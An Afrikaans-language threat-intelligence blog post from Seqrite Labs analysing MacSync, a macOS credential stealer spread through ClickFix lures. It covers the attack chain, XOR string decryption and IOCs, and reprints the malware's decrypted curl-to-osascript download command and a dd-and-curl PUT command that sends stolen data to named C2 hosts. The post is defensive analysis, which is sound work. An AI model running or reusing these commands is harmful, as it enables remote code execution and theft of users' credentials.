• Produkte en dienste
        • Wolk

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BJET
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • Op die perseel

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • platform

          • Malware Analysis Platform
        • Small Business

          • SOHO Total Edition
        • Dienste

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Kubersekuriteit & Data Privacy Bewustheid
  • Oplossings
    • BFSI
    • Onderwys
    • Regering
    • Healthcare
    • ITeS
    • vervaardiging
  • maatskappy
    • Oor Seqrite
    • Leierskap
    • Toekennings en sertifiserings
    • Nuus
  • Vennote
    • Vennootprogram
    • Vind Vennoot
    • Word 'n Vennoot
  • Ondersteuning
  • hulpbronne
    • blogs
    • White Papers
    • Datavelle
    • Gevallestudies
    • Bedreigingsverslae
    • Handleidings
    • PoV
    • begrip Data Privacy
    • Kontroleer jou risikotelling
    • DPDP Dialoë
    • Privaatheidsuur
Seqrite Labs Nuus
Kontak Verkope Onder Aanval?
  • Produkte en dienste
        • Wolk

          • Endpoint Protection
          • Endpoint Detection and Response
          • Mobile Device Management
          • BJET
          • Extended Detection and Response
          • Zero Trust Network Access
          • Data Privacy
        • Op die perseel

          • Endpoint Protection
          • Endpoint Detection and Response
          • Data Privacy
        • platform

          • Malware Analysis Platform
        • Small Business

          • SOHO Total Edition
        • Dienste

          • Threat Intel
          • Digital Risk Protection Services (DRPS)
          • Ransomware Recovery as a Services (RRaaS)
          • DPDP Compliance
          • Managed Detection and Response
          • Kubersekuriteit & Data Privacy Bewustheid
  • Oplossings
    • BFSI
    • Onderwys
    • Regering
    • Healthcare
    • ITeS
    • vervaardiging
  • maatskappy
    • Oor Seqrite
    • Leierskap
    • Toekennings en sertifiserings
    • Nuus
  • Vennote
    • Vennootprogram
    • Vind Vennoot
    • Word 'n Vennoot
  • Ondersteuning
  • hulpbronne
    • blogs
    • White Papers
    • Datavelle
    • Gevallestudies
    • Bedreigingsverslae
    • Handleidings
    • PoV
    • begrip Data Privacy
    • Kontroleer jou risikotelling
    • DPDP Dialoë
    • Privaatheidsuur
Webbladsy  /  Tegniese  / MacSync: Die ontwykende macOS-dief wat ClickFix-lokmiddels uitbuit
MacSync: Die ontwykende macOS-dief wat ClickFix-lokmiddels uitbuit
08 September 2026

MacSync: Die ontwykende macOS-dief wat ClickFix-lokmiddels uitbuit

Geskryf deur Chandra Kant Bauri
Chandra Kant Bauri
Tegniese

Uitvoerende Opsomming

MacSync Stealer is 'n familie van macOS-inligtingsteelprogramme en afstandtoegang-stagers wat ontwerp is om opsporing te ontduik en kommersieel verkoop word onder 'n malware-as-'n-diens (MaaS) model.

In die aanvalsketting is MacSync-binêre lêers inheemse stagers en meerdelige eksfiltrasie-enjins. Eerder as losstaande oesters, is die vragte liggewig 64-bis Mach-O-uitvoerbare lêers wat stilweg van terminaalsessies losmaak, geloofsbriewe-dumpingmodules direk in die geheue laai, en gesteelde geloofsbriewe betroubaar terug na die veldtoginfrastruktuur eksfiltreer.

MacSync word hoofsaaklik gelewer deur Klik op Fix sosiale manipulasie en soekenjin-wanadvertering. Dit gebruik 'n modulêre, meervlakkige uitvoeringsstrategie om Apple Gatekeeper, XProtect en ander te omseil. endpoint detection and response (EDR) gereedskap terwyl 'n minimale voetspoor op die skyf behou word.

  1. Stealth Session Daemonization: Tydens uitvoering ontkoppel MacSync van die beherende terminaalsessie deur POSIX fork() en setsid() stelseloproepe te gebruik. Dit herlei na PID 1 (launchd) en herlei stdin, stdout en stderr na /dev/null sodat foutboodskappe en prosesuitvoer nie in die konsole verskyn nie.
  2. Sjabloongebaseerde enkelgreep XOR-verduisteringOm statiese handtekeninge en outomatiese string-ekstraksie te vermy, versteek MacSync-binêre lêers funksionele stringe (insluitend C2-eindpunte, opdragreëlargumente, API-opskrifte en tydelike lêerpaaie) deur 'n ingeboude C++-sjabloonklas (ObfuscatedString) te gebruik. Tydens looptyd dekripteer die binêre lêer hierdie stringe in plaaslike stapelbuffers met behulp van enkelgreep XOR.
  3. Dinamiese AppleScript-pyplyn in die geheue: Die stager vermy die skryf van geloofsbriewe-dumpingskripte na die skyf. In plaas daarvan koppel dit aan C2-bedieners oor HTTPS deur gebruik te maak van persoonlike opskrifte (soos api-key: en veldtogtokens) en stuur die reaksie direk na /usr/bin/osascript via stdin. Dit laat aanvallers toe om diefstalvragte aan die bedienerkant op te dateer sonder om die kliëntbinêre lêer weer te kompileer.
  4. 10 MB Foutverdraagsame Brok-Eksfiltrasie: Om groot gesteelde argiewe (wat blaaierkluise, stelselsleutelhouers en kriptogeldeenheid-beursiedatabasisse bevat) oor te dra, verdeel MacSync lêers in 10 MB-stukke. Dit onttrek elke sny met behulp van die oorspronklike dd-hulpprogram en laai dit opeenvolgend op via HTTP PUT-versoeke, deur eksponensiële terugskakeling te gebruik om mislukte oordragte weer te probeer.
  5. Selfreinigende Anti-Forensiese: Die stager maak tydelike lêers op die skyf skoon. Sodra die C2-bediener 'n HTTP 200-antwoord terugstuur wat die oplaai van die blokke bevestig, verwyder die wanware die plaaslike statuslêer (/tmp/.httpcode) en die staged-argief (/tmp/osalogging.zip).                                                                                     

Oorsprong van bedreigingsakteurs en wanware-as-'n-diens (MaaS)-ekosisteem

MacSync het in 2025 ontstaan, met openbare beriggewing wat dit verbind het met die vroeëre Mac.C Stealer en die ontwikkelaaridentiteit "Mentalpositive". Threat intelligence spoor MacSync as 'n Malware-as-a-Service (MaaS)-operasie op, en verskaf die wanware en ondersteunende infrastruktuur aan ander kubermisdadigers.

Bewyse toon 'n duidelike skeiding tussen die ontwikkeling van wanware en veldtogbedrywighede. MacSync-boue bevat dikwels ontplooiingspesifieke identifiseerders, terwyl veldtogte staatmaak op onafhanklik bestuurde afleweringsopstellings en roterende backend-infrastruktuur. CIS het 'n s3-bou-etiket geïdentifiseer wat gekoppel is aan 'n geaffilieerde bou, en Microsoft het later meer as 30 domeine gekorreleer gebaseer op herhalende URI-paaie, versoekkenmerke, API-sleutel-opskrifte en eksfiltrasiegedrag.

MacSync-verspreiding maak hoofsaaklik staat op sosiale manipulasie eerder as sagteware-uitbuiting. Veldtogte lewer die wanware deur middel van wanadvertensies, SEO-vergiftiging, gekompromitteerde webwerwe, vals sagteware en KI-installeerders, en ClickFix-bladsye wat slagoffers mislei om bevele in Terminal uit te voer.

Alhoewel openbare navorsing Russies-taal-ontwikkelingsartefakte in sommige MacSync-monsters geïdentifiseer het, is hierdie merkers nie genoeg om die wanware aan 'n spesifieke bedreigingsakteur of kriminele sindikaat toe te skryf nie.

Die geassosieerde infrastruktuur volg sekere gedragspatrone wat steeds van toepassing sal wees ongeag die rotasie van domeine. Die gedrag wat deur MacSync-voorbeeld en -laaier vertoon word, sluit C2-versoeke in wat aan /dynamic?txd= gemaak is. met 'n API-sleutel wat in die koptekst gestel is, sowel as die insameling van data wat plaaslik gedoen word voor oplaai via /gate?buildtxd= met upload_id, chunk_index, en total_chunks parameters.

Geaffilieerde veldtogte: ClickFix-aflewering

MacSync word gereeld versprei deur ClickFix-veldtogte wat op macOS-gebruikers gemik is. In plaas daarvan om sagtewarekwesbaarhede te benut, maak hierdie aanvalle staat op sosiale manipulasie om slagoffers te mislei om bevele in Terminal te kopieer en uit te voer onder die dekmantel van sagteware-installeerders, CAPTCHA-kontroles, aflaaifoute of probleemoplossingsaanwysings.

Alhoewel openbare verslae verskeie MacSync ClickFix-veldtogte met veranderende lokaas, afleweringsopstellings en vragte beskryf, toon huidige bewyse nie dat almal aan dieselfde bedreigingsakteur behoort of dat MacSync-infrastruktuur direk onder ClearFake werk nie.

Die ClearFake / Verkeersverspreidingsnetwerk (TDS)

Affiliasies ontplooi Verkeersverspreidingstelsels (TDS), soos Keitaro TDS, oor gekompromitteerde webwerwe en advertensienetwerke om besoekers te lei gebaseer op hul bedryfstelsel. Deur die blaaier se gebruikersagent na te gaan, herlei die TDS Windows-besoekers na kettings wat LummaC2 , Stealc of Vidar versprei , terwyl macOS-besoekers na MacSync ClickFix-infeksietregters gestuur word.

Sosiale manipulasie lokmiddels en handelsmerknabootsings

MacSync-veldtogte boots gewilde produktiwiteits-, boodskap- en sagteware-ontwikkelingsinstrumente na om professionele persone te teiken:

Nagemaakte Handelsmerk / Tema Misleidende lokmiddel-scenario Teiken demografiese
Google Meet / Zoom “Mikrofoon-/Oudiofout: Klik op Herstel om jou macOS-oudiobestuurder te herstel.” Korporatiewe afstandwerkers, werkkandidate in onderhoudswendelary
Claude KI / ChatGPT “Laai Claude AI Desktop vir macOS af / Herstel WebSockets-verbinding.” Sagteware-ingenieurs, KI-navorsers, datawetenskaplikes
Cloudflare / Draaihek "Verifieer dat jy 'n mens is: Maak die terminaal oop en plak die verifikasiekode." Algemene webverkeer, kripto-handelaars, forumgebruikers
Docker / Notie / Wyser Vergiftigde Google-soekadvertensies wat vals inheemse rekenaarinstalleerders aanbied Sagteware-ontwikkelaars, DevOps-ingenieurs, tegnologieleiers
TradingView / Kripto-programme "Dateer jou grafiek-enjin op om markdata intyds te sien." Hoë-nettowaarde kripto-handelaars, DeFi-beleggers

 

Globale Geografiese Telemetrie en Nywerheidsimpak

Geografiese telemetrie

Threat intelLisensieverslae toon dat MacSync-veldtogte hoofsaaklik teiken is op streke met wydverspreide macOS-ondernemingsgebruik, tegnologie- en sagteware-ontwikkelingsektore, en aktiewe kriptogeldeenheid- of Web3-gemeenskappe. Telemetrie van Augustus 2026 toon dat die Verenigde State verantwoordelik is vir die grootste deel van die opsporings, gevolg deur die Verenigde Koninkryk, Duitsland, Japan, Kanada, Frankryk, Singapoer, Australië, Indië, Nederland en die Nordiese lande.

Figuur 1: Geografiese verspreiding macsync

Geteikende Nywerheidsektore

Bedryfsektor Primêre Teikenrolle Hoëwaarde-bates Bedreigingsvektor / Lokmiddel Bedryfsimpak
Sagteware-ingenieurswese en tegnologie-opstartondernemings Volstapel-ontwikkelaars, DevOps-ingenieurs, KI-navorsers SSH-privaatsleutels, AWS/GCP-tokens, GitHub/GitLab-geloofsbriewe, .env-lêers Kwaadwillige advertering wat Claude KI naboots, Cursor IDE, Docker Desktop, Notion Wolk-oorname, bronkode-diefstal, voorsieningsketting-kompromie
Kriptogeldeenheid en Web3 Blokkettingontwikkelaars, DeFi-handelaars, DAO-lede, fondsbestuurders MetaMask, Phantom, Coinbase, TronLink-kluisdata; Exodus/Electrum-beursielêers Vals Web3-vergaderingskakels, TradingView-opdatering lok Beursie-uitputting, ongemagtigde token-oordragte, slimkontrak-sleuteldiefstal
Korporatiewe Afstandswerksmag C-Suite, HR, Verkope en Bemarking macOS Sleutelhangerdata, Slack/Discord-tokens, Google Workspace/Okta-sessies Vals Google Meet/Zoom mikrofoon- of kameraherstellings Identiteitskaping, sessiekoekie-misbruik, interne netwerk-draaiing
Regerings- en Verdedigingskontrakteurs SLTT-personeel en kontrakteurs Regeringsportaalbewyse, VPN-profiele, werknemerbewyse Soekenjin-wanadvertering, gekompromitteerde munisipale webwerwe Ongemagtigde munisipale toegang, blootstelling aan sensitiewe burgerdata
Fintech & Finansiële Dienste Finansiële Ontleders, Kwantumhandelaars, Rekenmeesters Banksessie-tokens, rekeningkundige geloofsbriewe, betaalkaartdata Vals faktuurkykers, PDF-weergawe-"regstellings" Finansiële bedrog, ongemagtigde korporatiewe bankoorplasings

MacSync Aanvalsketting

Figuur 2: Aanvalsketting
  1. Aanvanklike infeksie (ClickFix-truuk): Die outeurs van wanware gebruik wanadvertensies op soekenjins waar slagoffers na sagteware soek. Hulle beland op die kwaadwillige webblad (soos vals sagteware). Claude AI kletsbot, Apple-sekuriteitsopdatering, Kripto-beursie-installeerder), wat 'n foutboodskap wys wat die slagoffer vra om 'n opdrag in die Terminale-venster uit te voer (curl -s … | zsh).
  2. Fase 1 (Shell Wrapper-skrip): Die kwaadwillige skrip loop in die Terminal-omgewing en begin dadelik die agtergrondproses.
  3. Fase 2 (Base64-vrag): Die omhulselskrip dekomprimeer 'n agtergrondvrag (daemon_function) wat die oorspronklike Mach-O binêre stager uitvoer (ons voorbeeld: com.utils.Launcher).
  4. Fase 3 (Dinamiese AppleScript-dief): Die binêre lêer maak 'n navraag na /dynamic?txd=… op die C2-bediener met 'n persoonlike opskrif (api-sleutel: de62a2f4…) en stuur dit direk na osascript. Die AppleScript versoek die gebruiker se stelselwagwoord, steel alle sleutelhouerdata en stort databasisse, sessiekoekies, SSH-sleutels, Telegram-sessie en kripto-beursies na ... /tmp/osalogging.zip.
  5. Stadium 4 (RAT met Volharding): Die vrag voer 'n ander Mach-O RAT uit wat voortduur met behulp van die ~/Library/LaunchAgents/-gids deur homself te hernoem na com.google.keystone.plist of com.apple.sync.plist.
  6. Fase 5 (TCC-helper): Gebruik 'n ad-hoc getekende helperprogram om toestemmings aan te vra en vas te lê vir macOS Skermopname.
  7. Fase 6 (Eksfiltrasie en Verwydering van Artefakte): Hierdie Mach-O-program bespeur die bestaan ​​van /tmp/osalogging.zip, breek dit op in stukke van 10 MB (0xA00000 grepe) met behulp van dd, stuur die data met behulp van HTTP PUT na /hek?boutxd=…, en verwyder /tmp/osalogging.zip en /tmp/.httpcode.

Binêre Uitvoeringsvloei

Die onderstaande beeld karteer die volledige looptydlewensiklus van die MacSync-stager-binêre lêer van aanvanklike uitvoering tot finale artefakopruiming.

Figuur 3: Argitektoniese vloei van die MacSync Mach-O-stagiair

Lêeridentifikasie en statiese metadata

Figuur 4: Terminaal otool-uitvoer wat Mach-O 64-bis-kopskrifte en -lading toon

Statiese Lêereienskappe

kenmerk Statiese Waarde Notes
File Name 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 SHA-256 Hash-naamgewing
Lêerformaat Mach-O 64-bis x86_64 uitvoerbare lêer Dun Binêr (Enkele Argitektuur)
Mach-O Magic 0xFEEDFACF (MH_MAGIC_64) 64-bis Mach-O-koptekst
SVE-tipe / subtipe CPU_TIPE_X86_64 (0x01000007) / ALLES (0x00000003) Intel 64-bis argitektuur
Lêergrootte 38,800 grepe 0x9790 grepe
MD5 9678f71ea4cccbc3d511dc8d7f24b113 Kriptografiese Hash
SHA-1 59508d071661ea70fa5fcbe6f9e2fb72506e57df Kriptografiese Hash
SHA-256 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Primêre Voorbeeld Hash
Samestellingsvlae TAART, TWEEVLAK, BIND_AAN_SWAK, SWAK_DEFINEER, GEENVOUDIGES Posisie Onafhanklik Uitvoerbaar
Toegangspuntadres 0x100000e30 (_hoof) Afdeling __TEKS.__teks

Kodeondertekeningbesonderhede

Figuur 5: Terminaaluitvoer van die ko-ontwerp-hulpprogram wat ad-hoc-ondertekening, ongenotariseerde status en nagemaakte nutsdiensidentifiseerder openbaar.
kenmerk waarde Notes
Handtekening Status Ad-hoc geteken (vlae=0x2(adhoc)) Geen Apple-uitgereikte ontwikkelaar-ID-handtekening nie
Ondertekeningsidentifiseerder com.utils.Launcher Ingeslote kode-ondertekening identifiseerder
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Kode Gids hash
CMSDigest d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 Kode-ondertekening samevatting
Spanidentifiseerder nie gestel nie Geen Apple-ontwikkelaarspan-ID nie; dui op ad-hoc-ondertekening

Stringverduistering en sleutelherwinning

Omgekeerde Ingenieurswese van die Kriptografiese Enjin

'n Statiese stringanalise wat op die kaal binêre lêer uitgevoer is, het geen URL'e, lêerpaaie of opdragverwysings in die oop veld gevind nie. Verwysings na _main het 19 verwysings na 'n C++-sjabloonklas opgelewer:

kenmerk waarde
Verminkte Simbool __ZNK16ObfuscatedStringILm…EE7decryptEv
Ontmangelde Simbool VerduisterdeString ::dekripteer() konst
Adresreeks 0x100002350 - 0x100002740
Figuur 6: Hoëvlak IL-dekompilasie van die C++-stringdekripsie-sjabloon met behulp van die enkelgreep XOR-sleutel 0xAA.

Enkelgreep xor-sleutel geïdentifiseer: 0xAA (Desimaal: 170, Binêr: 10101010).

Figuur 7: rou XOR-geënkripteerde konstantes gestoor binne die __TEXT.__const segment.

Om alle geïnkripteerde byte-stringe te dekripteer sonder om vooraf enige gewone teks te ken, word die volgende losstaande skrip uitgevoer:

Figuur 8: dekripsieprogram

Dekripsieprogram-uitvoer

Figuur 9: uitvoer van die outomatiese Python-dekripsie-instrument wat alle XOR 0xAA-geënkripteerde C2-paaie en -opdragte openbaar.

XOR-stringdekripsie en bergingsuitleg en bergingsuitleg

Hardeware XOR-bewerking (/tmp/.httpcode)

Die volgende tabel toon die werklike bewerkings wat plaasvind binne die SVE-register ecx (xor ecx, 0xaa) vir die statuslêerpad by 0x100002a2e.

Byte # Geënkripteerde heksadesimum XOR-sleutel Gedekripteerde Heksadesimum Karakter
0 0x85 0xAA 0x2F /
1 0xDE 0xAA 0x74 t
2 0xC7 0xAA 0x6D m
3 0xDA 0xAA 0x70 p
4 0x85 0xAA 0x2F /
5 0x84 0xAA 0x2E .
6 0xC2 0xAA 0x68 h
7 0xDE 0xAA 0x74 t
8 0xDE 0xAA 0x74 t
9 0xDA 0xAA 0x70 p
10 0xC9 0xAA 0x63 c
11 0xC5 0xAA 0x6F o
12 0xCE 0xAA 0x64 d
13 0xCF 0xAA 0x65 e
14 0xAA 0xAA 0x00 \0

 

Die pad /tmp/osalogging.zip word gekonstrueer via stapelliterale en XOR-dekripsie.

Omgekeerde Ingenieurswese _main – Geheue-uitleg en Daemonisering

URL-konstruksie / eindpuntvoorbereiding Die voorbeeld laai verskeie URL-verwante stringfragmente (bv. https, http, asia., usa.) in plaaslike stapelveranderlikes. Dit ken dan 'n 128-greep plaaslike buffer toe om die string in te bou. Die teenwoordigheid van streeksdomeinfragmente en HTTP(S)-skemas impliseer dat netwerkeindpunte tydens looptyd gekonstrueer of gekies word, wat die sigbaarheid van volledige URL'e in statiese analise beperk.

Figuur 10: veelvuldige URL-stringe

Prosesdemonisering en stroomverhuling (0x100000e30 – 0x100000f54)

Figuur 11: prosesvurk, ouerbeëindiging, sessieskepping en stroomverhulsel.
  1. _Fork() Uitvoering (0x100000e69): Die ouerproses voltooi skoon deur 0 terug te gee. Dit sluit onmiddellik af en gee beheer terug aan die terminaal. Op daardie tydstip word die kindproses herouer na launchd wat met PID 1 loop.
  2. _Setsid() Sessie Skepping (0x100000eb7): Die kindproses breek weg van die beheerterminaal. Hierdie stap verseker dat die proses nie meer aan enige sessie gekoppel is nie.
  3. Stroomonderdrukking (0x100000efe – 0x100000f48): Die kindproses herlei sy invoer, standaarduitvoer en standaardfout na /dev/null. Dit word gedoen deur drie oproepe na _freopen() te gebruik. Elke oproep hanteer een van die strome en stil enige uitvoer- of invoeraktiwiteit effektief.

Omgekeerde Ingenieurswese _main – Dinamiese C2-polling en AppleScript in die geheue

Rou Binêre Ninja Hoëvlak IL Dekompilasie (0x100001070 – 0x100001300)

Figuur 12: vertoon dinamiese C2-pollinglus en in-geheue-uitvoering via osascript.            
  • 0xc8 in samestelling is desimaal 200 (HTTP 200 OK).
  • sub_100001e20() bevat die gedekripteerde opdragsjabloon: curl -k -s –max-time 12 -H “Gebruiker-Agent: %s” -H “api-sleutel: %s” “%s” | osascript.
  • Die AppleScript word direk van curl na osascript gestroom sonder 'n tussentydse skriplêer; dit word direk van curl na Apple se /usr/bin/osascript binêre lêer via standaardinvoer gelei.

Statiese konfigurasie-eienskappe:

kenmerk waarde
Veldtogteken (txd) c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0
Hek-verifikasietoken api-key: de62a2f47d1c7dec2997f931a050a615
Primêre Gasheer drivinguber.com
Terugvalgasheer nuusinweb.com
Streeksvoorvoegsels Asië. / VSA.

Uitvoeringspyplynwerkvloei

  1. Primêre Gesondheidsonde (drivinguber.com):
Figuur 13: gesondheidsonde (drivinguber)
  1. Statusevaluering: Lees /tmp/.httpcode via _fscanf(“%d”, &code) en ontkoppel /tmp/.httpcode.
  2. Uitvoering van In-Memory Pipe (0x10000128e): As kode == 200 (0xC8), formateer en loop dit:
Figuur 14: osascript-uitvoering in die geheue
  1. Terugvalrotasie: Indien die primêre een misluk, herhaal dit oor [https, http] [asia., usa.] met die basis newsinweb.com.

10MB Chunking Engine & System V ABI

Figuur 15: HLIL-aansig wat stat-verifikasie, 10MB-plafonverdeling en sessie-ID-tokengenerering vertoon.
  1. Teikenverifikasie: Roep _stat$INODE64(“/tmp/osalogging.zip” &stat_buf) aan. Indien die lêer nie daar is nie of die grootte nul is, eindig dit behoorlik (gee 0 terug).
  2. Heelgetal Plafon Deling Wiskunde:Totale Brokkies is gelyk aan die vloer van (lêergrootte plus 0x9FFFFF gedeel deur 0xA00000) (Vaste brokgrootte is 0xA00000 wat 10 485 760 grepe of 10 MB is).
  3. Sessie-identifiseerder: Geskep met behulp van snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand()).

Aanpasbare Terugskakel Herprobeer Algoritme

Figuur 16: herprobeer-lustellerverhoging en slaapvertragingsberekening (herprobeer 2 + 3).

Herprobeer tot 8 keer met aanpasbare terugtrekking: Vertraging = (herprobeer_indeks × 2) + 3 sekondes (5s, 7s, 9s, 11s, 13s, 15s, 17s, 19s)

Shell-opdragte uitgevoer via _system()

# Operasie Gedekripteerde Formaat Sjabloon Doel
1 C2 Gesondheidsonde krul -k -s –maks-tyd 12 -H “Gebruikersagent: %s” -H “api-sleutel: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null Kontroleer C2-beskikbaarheid en stoor die HTTP-statuskode in /tmp/.httpcode.
2 Fase 3 In-Geheue Stager krul -k -s –maks-tyd 12 -H “Gebruikersagent: %s” -H “api-sleutel: %s” “%s” | osascript Laai die afgeleë AppleScript-dief af en voer dit deur osascript uit.
3 Fase 6 Gedeeltelike Eksfiltrasie dd as=%s bs=1 oorslaan=%ld telling=%ld 2>/dev/nul | krul -k -s -X PUT –data-binêr @- … Verdeel /tmp/osalogging.zip in 10 MB-stukke en laai elke stuk op via HTTP PUT.

Inheemse POSIX-proses en lêerbewerkings

# Bewerkingstipe Inheemse API-oproep Doel Operasionele doel
6 Prosesvurk _vurk() N / A Ouerproses sluit onmiddellik af om van die terminaal los te maak.
7 Sessie-ontkoppeling _setid() N / A Skep 'n nuwe losstaande sessie; kind word 'n onafhanklike daemon.
8 Stroomverhulsel _freeopen(“/dev/null”, “r”, *___stdinp) / Dev / null Maak standaardinvoer stil.
9 Stroomverhulsel _freeopen(“/dev/null”, “w”, *___stdoutp) / Dev / null Maak standaarduitvoer van curl en osascript stil.
10 Stroomverhulsel _freeopen(“/dev/null”, “w”, *___stderrp) / Dev / null Stil standaardfout om terminaalwaarskuwings te voorkom.
11 Lêerverifikasie _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) /tmp/osalogging.zip Verifieer die bestaan ​​en grootte van die geoeste data-argief voor oplaai.
12 Statusopruiming _ontkoppel(“/tmp/.httpcode”) /tmp/.httpcode Vee die tydelike HTTP-statuskodelêer na evaluering uit.
13 Opruiming van buitargief _verwyder(“/tmp/osalogging.zip”) /tmp/osalogging.zip Vee die zip-argief met gesteelde data uit na suksesvolle eksfiltrasie.

Aanwysers van Kompromie (IOC's)

Gasheer-aanwysers

Tipe aanwyser waarde Beskrywing
SHA-256 Hash 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 Inheemse Mach-O Stager Binêre
MD5 Hashing 9678f71ea4cccbc3d511dc8d7f24b113 Inheemse Mach-O Stager Binêre
SHA-1 Hash 59508d071661ea70fa5fcbe6f9e2fb72506e57df Inheemse Mach-O Stager Binêre
Kodeondertekening-ID com.utils.Launcher Ad-hoc handtekeningbundel-identifiseerder
CDHash d182eb7cba0ffa42d770d7b0d3499e49f24163a2 Kode Gids Hash
Gefaseerde Argief /tmp/osalogging.zip Harvest-argief wat gesteelde data bevat
Statuslêer /tmp/.httpcode Tydelike HTTP-responskodelêer

 

Netwerk aanwysers

Tipe aanwyser waarde Beskrywing
C2 Domein (Primêr) drivinguber.com Primêre Fase 3 / Fase 6 C2-bediener
C2 Domein (Alternatiewe) asia.newsinweb.com Terugval Asiatiese streek C2 eindpunt
C2 Domein (Alternatiewe) usa.newsinweb.com Terugval-eindpunt VSA-streek C2
C2 Worteldomein nuusinweb.com Terugvalworteldomein
URI (Aflaai) /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 Dinamiese AppleScript-vraghek
URI (Oplaai) /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 10 MB chunked binêre PUT oplaai hek
HTTP-versoekopskrif api-key: de62a2f47d1c7dec2997f931a050a615 Veldtog-verifikasietoken
HTTP-gebruikersagent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 Nagemaakte kliënt Gebruiker-Agent

MITRE ATT&CK-kartering

taktiek Tegniek-ID Tegniek MacSync-implementering
Aanvanklike toegang T1204.002 Gebruikersuitvoering ClickFix-lokmiddel mislei gebruikers om 'n verdoeselde Terminal-opdrag uit te voer.
Uitvoering T1059.002 Apple Voer afgeleë AppleScript-vragte uit via /usr/bin/osascript.
Uitvoering T1059.004 Unix-dop Voer /bin/sh-opdragte uit.
Volharding T1543.001 Bekendstellingsagent Installeer 'n kwaadwillige .plist in ~/Library/LaunchAgents/.
Verdedigingsontduiking T1027 obfuscation XOR 0xAA verberg stringe en URL'e.
Verdedigingsontduiking T1564.001 Versteekte lêers Gebruik lêers met 'n puntvoorvoegsel vir tydelike data.
Verdedigingsontduiking T1070.004 Lêer uitvee Vee tydelike lêers uit na data-oplaai.
Verdedigingsontduiking T1036.005 Maskering Gebruik com.utils.Launcher om soos 'n wettige komponent te lyk.
Verdedigingsontduiking T1562.001 Verswakte Verdediging Herlei stdin, stdout, en stderr na /dev/null.
Toegang tot geloofsbriewe T1555.001 Sleutelhouer Gebruik sekuriteitsdump-sleutelhanger om toegang tot gestoorde geloofsbriewe te verkry.
Toegang tot geloofsbriewe T1539 Websessiekoekies Teiken blaaierkoekiedatabasisse vir sessiediefstal.
Toegang tot geloofsbriewe T1552.004 Privaat sleutels Versamel SSH-sleutels en AWS-geloofsbriewe.
Discovery T1082 stelsel inligting Versamel macOS-weergawe, hardeware-UUID en SVE-argitektuur.
versameling T1560.001 Argief Versamelde Data Argiveer gesteelde data in /tmp/osalogging.zip.
Opdrag en beheer T1071.001 Webprotokolle Kommunikeer met C2 oor HTTPS/443.
Opdrag en beheer T1105 Ingress-gereedskapoordrag Laai tweede-fase AppleScript-modules af.
Ekfiltrasie T1030 Groottelimiete vir data-oordrag Verdeel die argief in 10 MB-stukke.
Ekfiltrasie T1048.003 Alternatiewe Protokol Laai binêre stukke op deur HTTP PUT-versoeke.

Author:

Chandrakant Bauri

 vorige PosWat is privaatheidsbeskerming en waarom is dit belangrik vir besighede...
volgende Pos  Wat is die beste Digital Risk Protection Services in 2026
Chandra Kant Bauri

Oor Chandra Kant Bauri

...

Artikels deur Chandra Kant Bauri »

Verwante poste

  • CVE-2026-3854: Hoe Git Push Options 'n interne metadata-inspuiting-primitief geword het

    CVE-2026-3854: Hoe Git Push Options 'n interne metadata-inspuiting-primitief geword het

    Oktober 6, 2026
  • Binne DragonForce: Hoe 'n lospryswarekartel se vrag werklik werk

    Oktober 1, 2026
  • Operasie QUICSILVER: China-Nexus-akteur teiken Mianmar-diplomate via VHD-gelewerde Go Backdoor

    Augustus 17, 2026
Aanbevole outeurs
  • Seqrite
    Seqrite

    Seqrite is 'n toonaangewende verskaffer van kuberveiligheidsoplossings vir ondernemings. Met 'n fokus...

    Lees meer artikels deur Seqrite
  • Bineesh P
    Bineesh P

    Ek is 'n passievolle kuberveiligheidsentoesias en 'n toegewyde skrywer. Met 'n aanleg...

    Lees meer artikels deur Bineesh P.
  • Jyoti Karlekar
    Jyoti Karlekar

    Ek is 'n ywerige skrywer wat daarvan hou om inhoud oor opkomende tegnologieë te skep en...

    Lees meer artikels deur Jyoti Karlekar
  • Sanjay Katkar
    Sanjay Katkar

    Sanjay Katkar is die mede-besturende direkteur van Quick Heal Technologies...

    Lees meer artikels deur Sanjay Katkar
onderwerpe
bekwaam (25) Kuberaanval (36) kuber-aanvalle (58) cyberattack (16) cyberattacks (15) Kuber sekuriteit (343) kuber-sekuriteit (34) Cyber ​​bedreiging (33) kuber bedreigings (51) databreuk (56) data oortredings (29) verlies van data (28) voorkoming van dataverlies (34) data privacy (17) die beskerming van data (35) beveiliging van data (19) DLP (50) DPDP (14) DPDPA (17) Enkripsie (16) eindpunt sekuriteit (113) Onderneming sekuriteit (20) ontgin (13) BBP (14) malware (76) malware analise (15) malware aanval (23) MDM (27) Microsoft (15) MITER ATT&CK (14) sekuriteit netwerk (26) phishing (30) ransomware (69) ransomware aanval (31) ransomware aanvalle (31) ransomware beskerming (17) Seqrite (41) Seqrite Enkripsie (27) Seqrite EPS (33) Seqrite Dienste (16) bedreiging opsporing (15) Threat Intelligensie (25) UTM (34) Kwesbaarheid (16) nul vertroue (13)
Seqrite Labs

Toonaangewende verskaffer van IT-sekuriteitsoplossings vir ondernemings wat eindpunt-, data- en netwerksekuriteit vereenvoudig met die beste oplossings vir bedreigingsvoorkoming, -opsporing en -reaksie wêreldwyd.

Lees meer oor Seqrite

Volg ons:

Teken in op ons nuusbrief

Bly op hoogte van die nuutste kuberveiligheidstendense en insigte.

Laai
Produkte en dienste
  • Wolk
  • Endpoint Protection
